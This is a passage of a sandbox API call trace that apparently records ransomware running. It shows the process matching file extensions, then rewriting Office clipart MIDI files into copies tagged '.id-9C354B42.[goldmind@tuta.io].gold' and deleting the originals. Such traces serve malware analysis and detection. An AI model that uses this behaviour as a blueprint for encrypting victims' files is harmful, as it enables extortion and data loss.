lpString2=".rll") returned 1 [0090.220] lstrlenW (lpString=".xlsx") returned 5 [0090.220] lstrcmpiW (lpString1=".xlsx", lpString2="v.rll") returned -1 [0090.220] lstrlenW (lpString=".ppt") returned 4 [0090.220] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0090.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0090.220] lstrlenW (lpString=".zip") returned 4 [0090.220] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0090.220] lstrlenW (lpString=".rar") returned 4 [0090.220] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0090.220] lstrlenW (lpString=".bz2") returned 4 [0090.220] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0090.220] lstrlenW (lpString=".7z") returned 3 [0090.220] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0090.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0090.220] lstrlenW (lpString=".dbf") returned 4 [0090.220] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0090.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0090.220] lstrlenW (lpString=".1cd") returned 4 [0090.220] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0090.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0090.220] lstrlenW (lpString=".jpg") returned 4 [0090.220] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0090.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0090.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0090.220] lstrlenW (lpString=".doc") returned 4 [0090.220] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0090.220] lstrlenW (lpString=".docx") returned 5 [0090.220] lstrcmpiW (lpString1=".docx", lpString2="v.rll") returned -1 [0090.220] lstrlenW (lpString=".pdf") returned 4 [0090.220] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0090.220] lstrlenW (lpString=".xls") returned 4 [0090.220] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0090.220] lstrlenW (lpString=".xlsx") returned 5 [0090.220] lstrcmpiW (lpString1=".xlsx", lpString2="v.rll") returned -1 [0090.220] lstrlenW (lpString=".ppt") returned 4 [0090.220] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0090.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0090.220] lstrlenW (lpString=".zip") returned 4 [0090.221] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0090.221] lstrlenW (lpString=".rar") returned 4 [0090.221] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0090.221] lstrlenW (lpString=".bz2") returned 4 [0090.221] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0090.221] lstrlenW (lpString=".7z") returned 3 [0090.221] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0090.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0090.221] lstrlenW (lpString=".dbf") returned 4 [0090.221] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0090.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0090.221] lstrlenW (lpString=".1cd") returned 4 [0090.221] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0090.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0090.221] lstrlenW (lpString=".jpg") returned 4 [0090.221] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0090.221] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0090.221] lstrlenW (lpString="CMNTY_01.MID") returned 12 [0090.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0090.379] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=6970) returned 1 [0090.379] CloseHandle (hObject=0x33c) returned 1 [0090.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x20 [0090.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0090.787] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.787] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0090.805] GetLastError () returned 0x0 [0090.805] ReadFile (in: hFile=0x394, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x1b3a, lpOverlapped=0x0) returned 1 [0090.807] WriteFile (in: hFile=0x19c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x1b40, lpOverlapped=0x0) returned 1 [0090.885] ReadFile (in: hFile=0x394, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.885] WriteFile (in: hFile=0x19c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.885] SetEndOfFile (hFile=0x19c) returned 1 [0090.885] CloseHandle (hObject=0x19c) returned 1 [0090.885] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.886] SetEndOfFile (hFile=0x394) returned 1 [0090.890] CloseHandle (hObject=0x394) returned 1 [0090.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.971] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid")) returned 1 [0090.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0090.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0090.972] lstrlenW (lpString=".doc") returned 4 [0090.972] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0090.972] lstrlenW (lpString=".docx") returned 5 [0090.972] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0090.972] lstrlenW (lpString=".pdf") returned 4 [0090.972] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0090.972] lstrlenW (lpString=".xls") returned 4 [0090.972] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0090.972] lstrlenW (lpString=".xlsx") returned 5 [0090.972] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0090.972] lstrlenW (lpString=".ppt") returned 4 [0090.972] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0090.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0090.972] lstrlenW (lpString=".zip") returned 4 [0090.972] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0090.972] lstrlenW (lpString=".rar") returned 4 [0090.972] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0090.972] lstrlenW (lpString=".bz2") returned 4 [0090.972] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0090.972] lstrlenW (lpString=".7z") returned 3 [0090.972] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0090.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0090.972] lstrlenW (lpString=".dbf") returned 4 [0090.972] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0090.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0090.972] lstrlenW (lpString=".1cd") returned 4 [0090.972] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0090.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0090.972] lstrlenW (lpString=".jpg") returned 4 [0090.972] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0090.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0090.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0090.972] lstrlenW (lpString=".doc") returned 4 [0090.973] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0090.973] lstrlenW (lpString=".docx") returned 5 [0090.973] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0090.973] lstrlenW (lpString=".pdf") returned 4 [0090.973] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0090.973] lstrlenW (lpString=".xls") returned 4 [0090.973] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0090.973] lstrlenW (lpString=".xlsx") returned 5 [0090.973] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0090.973] lstrlenW (lpString=".ppt") returned 4 [0090.973] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0090.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0090.973] lstrlenW (lpString=".zip") returned 4 [0090.973] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0090.973] lstrlenW (lpString=".rar") returned 4 [0090.973] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0090.973] lstrlenW (lpString=".bz2") returned 4 [0090.973] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0090.973] lstrlenW (lpString=".7z") returned 3 [0090.973] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0090.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0090.973] lstrlenW (lpString=".dbf") returned 4 [0090.973] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0090.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0090.973] lstrlenW (lpString=".1cd") returned 4 [0090.973] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0090.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0090.973] lstrlenW (lpString=".jpg") returned 4 [0090.973] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0090.973] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0090.973] lstrlenW (lpString="OCEAN_01.MID") returned 12 [0090.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0091.048] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=5440) returned 1 [0091.048] CloseHandle (hObject=0x3a4) returned 1 [0091.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid")) returned 0x20 [0094.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0094.240] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.240] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0094.258] GetLastError () returned 0x0 [0094.266] ReadFile (in: hFile=0x190, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x1540, lpOverlapped=0x0) returned 1 [0094.342] WriteFile (in: hFile=0x3a4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x1550, lpOverlapped=0x0) returned 1 [0094.342] ReadFile (in: hFile=0x190, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.342] WriteFile (in: hFile=0x3a4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.342] SetEndOfFile (hFile=0x3a4) returned 1 [0094.344] CloseHandle (hObject=0x3a4) returned 1 [0094.344] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.344] SetEndOfFile (hFile=0x190) returned 1 [0094.345] CloseHandle (hObject=0x190) returned 1 [0094.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.391] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid")) returned 1 [0094.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0094.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0094.439] lstrlenW (lpString=".doc") returned 4 [0094.439] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.439] lstrlenW (lpString=".docx") returned 5 [0094.439] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.439] lstrlenW (lpString=".pdf") returned 4 [0094.439] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.439] lstrlenW (lpString=".xls") returned 4 [0094.439] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.439] lstrlenW (lpString=".xlsx") returned 5 [0094.439] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.439] lstrlenW (lpString=".ppt") returned 4 [0094.440] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0094.440] lstrlenW (lpString=".zip") returned 4 [0094.440] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.440] lstrlenW (lpString=".rar") returned 4 [0094.440] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.440] lstrlenW (lpString=".bz2") returned 4 [0094.440] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.440] lstrlenW (lpString=".7z") returned 3 [0094.440] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0094.440] lstrlenW (lpString=".dbf") returned 4 [0094.440] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0094.440] lstrlenW (lpString=".1cd") returned 4 [0094.440] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0094.440] lstrlenW (lpString=".jpg") returned 4 [0094.440] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0094.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0094.440] lstrlenW (lpString=".doc") returned 4 [0094.440] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.440] lstrlenW (lpString=".docx") returned 5 [0094.440] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.440] lstrlenW (lpString=".pdf") returned 4 [0094.440] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.440] lstrlenW (lpString=".xls") returned 4 [0094.440] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.440] lstrlenW (lpString=".xlsx") returned 5 [0094.440] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.440] lstrlenW (lpString=".ppt") returned 4 [0094.440] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0094.440] lstrlenW (lpString=".zip") returned 4 [0094.440] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.440] lstrlenW (lpString=".rar") returned 4 [0094.440] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.440] lstrlenW (lpString=".bz2") returned 4 [0094.440] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.441] lstrlenW (lpString=".7z") returned 3 [0094.441] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0094.441] lstrlenW (lpString=".dbf") returned 4 [0094.441] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0094.441] lstrlenW (lpString=".1cd") returned 4 [0094.441] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0094.441] lstrlenW (lpString=".jpg") returned 4 [0094.441] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.441] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0094.441] lstrlenW (lpString="PAPER_01.MID") returned 12 [0094.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0094.455] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=6763) returned 1 [0094.455] CloseHandle (hObject=0x3a8) returned 1 [0094.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid")) returned 0x20 [0094.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0094.458] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.458] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0094.459] GetLastError () returned 0x0 [0094.459] ReadFile (in: hFile=0x3a8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x1a6b, lpOverlapped=0x0) returned 1 [0094.460] WriteFile (in: hFile=0x398, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x1a70, lpOverlapped=0x0) returned 1 [0094.461] ReadFile (in: hFile=0x3a8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.461] WriteFile (in: hFile=0x398, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.461] SetEndOfFile (hFile=0x398) returned 1 [0094.461] CloseHandle (hObject=0x398) returned 1 [0094.461] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.461] SetEndOfFile (hFile=0x3a8) returned 1 [0094.464] CloseHandle (hObject=0x3a8) returned 1 [0094.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.465] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid")) returned 1 [0094.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0094.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0094.467] lstrlenW (lpString=".doc") returned 4 [0094.467] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.467] lstrlenW (lpString=".docx") returned 5 [0094.467] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.467] lstrlenW (lpString=".pdf") returned 4 [0094.467] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.467] lstrlenW (lpString=".xls") returned 4 [0094.467] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.467] lstrlenW (lpString=".xlsx") returned 5 [0094.467] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.467] lstrlenW (lpString=".ppt") returned 4 [0094.467] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0094.467] lstrlenW (lpString=".zip") returned 4 [0094.467] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.467] lstrlenW (lpString=".rar") returned 4 [0094.467] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.467] lstrlenW (lpString=".bz2") returned 4 [0094.467] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.467] lstrlenW (lpString=".7z") returned 3 [0094.468] lstrcmpiW 